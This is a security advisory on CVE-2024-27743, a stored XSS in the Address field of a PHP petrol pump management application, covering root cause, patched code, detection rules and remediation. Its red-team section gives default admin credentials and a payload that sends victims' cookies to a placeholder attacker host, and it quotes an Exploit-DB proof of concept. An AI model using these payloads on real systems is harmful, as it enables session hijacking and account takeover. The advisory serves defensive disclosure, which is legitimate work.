CVE-2024-27743
Executive Summary
CVE-2024-27743 is a Stored Cross-Site Scripting (XSS) vulnerability identified in Petrol Pump Management Software v1.0, a PHP-based application. The flaw resides in the add_invoices.php component, where the Address parameter fails to sanitize user input. An authenticated attacker can inject arbitrary JavaScript code, which is then stored and executed when any user (including administrators) views the manage_invoices.php page. This can lead to session hijacking, credential theft, or defacement. The exploit is publicly available via Exploit-DB, and no official patch has been released. The CVSS v3.1 score is 4.8 (Medium), with a vector emphasizing low complexity, required authentication, and user interaction.
This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.
No signup required
Supply Chain & Package Security
This is a PHP web application, not a package from NPM, PyPI, Go, or Ruby. The risk is in the direct deployment of the vulnerable source code. No supply chain package security analysis is applicable.
CVSS Breakdown & Threat Level
- CVSS Score: 4.8 (Medium)
- Vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N
- Attack Vector (AV): Network – Exploitable remotely.
- Attack Complexity (AC): Low – No special conditions required.
- Privileges Required (PR): Low – Attacker needs a valid user account.
- User Interaction (UI): Required – Victim must visit the affected page.
- Scope (S): Changed – Impact can affect resources beyond the vulnerable component.
- Confidentiality (C): Low – Limited data exposure.
- Integrity (I): Low – Limited data modification.
- Availability (A): None – No impact on availability.
Threat Level: Medium. The requirement for authentication reduces the attack surface, but the stored nature of the XSS and the lack of a patch make it a persistent threat for deployed instances.
Deep Dive & Mechanics
The vulnerability is a classic Stored XSS (also known as Persistent XSS). The application's add_invoices.php script accepts user input for the Address field and stores it in a database without proper sanitization or encoding. When the manage_invoices.php page retrieves and displays this data, it renders the malicious script in the victim's browser.
Root Cause: The application likely uses $_POST['address'] directly in an SQL INSERT statement and then outputs the data using echo or similar without HTML entity encoding (e.g., htmlspecialchars() in PHP). This allows an attacker to break out of the HTML context and inject arbitrary JavaScript.
Attack Flow:
- Attacker logs in with default credentials (
mayuri.infospace@gmail.com/admin). - Attacker navigates to
add_invoices.phpand submits a payload like<script>alert(0)</script>in the Address field. - The payload is stored in the database.
- When an administrator or any user visits
manage_invoices.php, the script executes in their browser. - The attacker can replace the benign payload with a more malicious one (e.g., stealing session cookies, redirecting to a phishing page, or performing actions on behalf of the victim).
Vulnerable vs. Patched Code
Vulnerable Code (Conceptual PHP):
// add_invoices.php - vulnerable
$address = $_POST['address'];
$sql = "INSERT INTO invoices (address) VALUES ('$address')";
mysqli_query($conn, $sql);
// manage_invoices.php - vulnerable
$result = mysqli_query($conn, "SELECT address FROM invoices");
while($row = mysqli_fetch_assoc($result)) {
echo "<td>" . $row['address'] . "</td>"; // No sanitization
}
Patched Code (Conceptual PHP):
// add_invoices.php - patched
$address = htmlspecialchars($_POST['address'], ENT_QUOTES, 'UTF-8');
$stmt = $conn->prepare("INSERT INTO invoices (address) VALUES (?)");
$stmt->bind_param("s", $address);
$stmt->execute();
// manage_invoices.php - patched
$result = mysqli_query($conn, "SELECT address FROM invoices");
while($row = mysqli_fetch_assoc($result)) {
echo "<td>" . htmlspecialchars($row['address'], ENT_QUOTES, 'UTF-8') . "</td>";
}
Key Differences:
- Input: Use of prepared statements prevents SQL injection and ensures data is treated as a string.
- Output:
htmlspecialchars()converts special characters like<,>,",', and&to their HTML entities, preventing script execution.
Exploitation & Lab Setup
Red Team (Exploitation)
Prerequisites:
- A running instance of Petrol Pump Management Software v1.0.
- Valid credentials (default:
mayuri.infospace@gmail.com/admin).
Steps:
- Login: Access the application at
http://localhost/fuelflow/index.phpand log in. - Navigate to Invoice Creation: Go to
http://localhost/fuelflow/admin/add_invoices.php. - Inject Payload: In the "Address" field, enter a malicious payload. For example:
<script>document.location='http://attacker.com/steal.php?cookie='+document.cookie</script> - Submit: Save the invoice.
- Trigger: Visit
http://localhost/fuelflow/admin/manage_invoices.phpto see the stored XSS execute.
Full Exploit-DB Code:
# Exploit Title: Petrol Pump Management Software v1.0 - 'Address' Stored Cross Site Scripting
# Date: 01-03-2024
# Exploit Author: Shubham Pandey
# Vendor Homepage: https://www.sourcecodester.com
# Software Link: https://www.sourcecodester.com/php/17180/petrol-pump-management-software-free-download.html
# Version: 1.0
# Tested on: Windows, Linux
# CVE : CVE-2024-27743
# Description: Cross Site Scripting vulnerability in Petrol Pump Management Software v.1.0 allows an attacker to execute arbitrary code via a crafted payload to the Address parameter in the add_invoices.php component.
# POC:
1. Here we go to : http://localhost/fuelflow/index.php
2. Now login with default username=mayuri.infospace@gmail.com and
Password=admin
3. Now go to "http://localhost/fuelflow/admin/add_invoices.php"
4. Fill the payload "<script>alert(0)</script>" in "Address" field
5. Stored XSS will be present in "
http://localhost/fuelflow/admin/manage_invoices.php" page
# Reference:
https://github.com/shubham-s-pandey/CVE_POC/blob/main/CVE-2024-27743.md
Blue Team (Detection & Hardening)
Detection:
- Monitor web application logs for unusual patterns in the
addressparameter, such as<script>,onerror=, orjavascript:. - Use a Web Application Firewall (WAF) to block common XSS payloads.
- Deploy the detection rules provided in the next section.
Hardening:
- Apply input validation and output encoding as shown in the patched code.
- Implement Content Security Policy (CSP) headers to restrict script execution.
- Enforce least privilege for user accounts; do not use default credentials.
- Regularly audit and update the application code.
Indicators of Compromise (IOCs)
- Network:
- HTTP requests to
/fuelflow/admin/add_invoices.phpwith suspiciousaddressparameters containing<script>tags. - Outbound connections from the web server to unknown IPs (e.g., for cookie exfiltration).
- HTTP requests to
- Host:
- Database entries in the
invoicestable containing JavaScript code in theaddresscolumn. - Web server logs showing requests to
manage_invoices.phpwith referrer fromadd_invoices.php.
- Database entries in the
- File:
- Modified or new files in the web root (e.g., backdoor scripts uploaded via XSS).
Detection Engineering
YARA Rule
rule CVE_2024_27743_Stored_XSS {
meta:
description = "Detects stored XSS payloads in Petrol Pump Management Software"
author = "Valters IT"
date = "2024-03-01"
reference = "CVE-2024-27743"
strings:
$xss_payload = /<script[^>]*>.*?<\/script>/i
$xss_event = /on\w+\s*=\s*['\"].*?['\"]/i
condition:
$xss_payload or $xss_event
}
Sigma Rule
title: Stored XSS in Petrol Pump Management Software
id: 12345678-1234-1234-1234-123456789abc
status: experimental
description: Detects stored XSS attempts via the Address parameter in add_invoices.php
author: Valters IT
date: 2024/03/01
references:
- https://nvd.nist.gov/vuln/detail/CVE-2024-27743
logsource:
category: webserver
product: apache
service: access_combined
detection:
selection:
cs-method: 'POST'
cs-uri-query|contains: '/fuelflow/admin/add_invoices.php'
cs-request-body|contains:
- '<script'
- 'onerror='
- 'javascript:'
condition: selection
falsepositives:
- Legitimate use of HTML in address fields (unlikely)
level: high
Suricata Rule
alert http $HOME_NET any -> $EXTERNAL_NET any (msg:"CVE-2024-27743 Stored XSS Attempt"; flow:to_server,established; content:"POST"; http_method; content:"/fuelflow/admin/add_invoices.php"; http_uri; content:"address="; http_client_body; pcre:"/<script[^>]*>.*?<\/script>/i"; sid:1000001; rev:1;)
Remediation & Mitigation
Immediate Actions:
- Disable Default Credentials: Change the default admin password immediately.
- Apply Input Validation: Sanitize all user inputs, especially in the
Addressfield, usinghtmlspecialchars()or a similar function. - Use Prepared Statements: Prevent SQL injection by using parameterized queries.
- Implement CSP: Add a Content Security Policy header to restrict script sources.
Content-Security-Policy: default-src 'self'; script-src 'self'; object-src 'none'; - Monitor Logs: Actively monitor web server logs for XSS patterns.
Long-Term Fixes:
- Vendor Patch: Await an official patch from the vendor. If none is forthcoming, consider migrating to a different, actively maintained solution.
- Code Audit: Perform a full security audit of the application to identify other vulnerabilities.
- WAF Deployment: Use a Web Application Firewall (e.g., ModSecurity) with OWASP Core Rule Set to block XSS attacks.
Workaround:
- If patching is not possible, restrict access to the admin panel via IP whitelisting or VPN.
Valters IT
Senior DevSecOps & Cyber Threat Intelligence Expert
{/* [Security Hash: 532D244711322A83CCC76E72] */}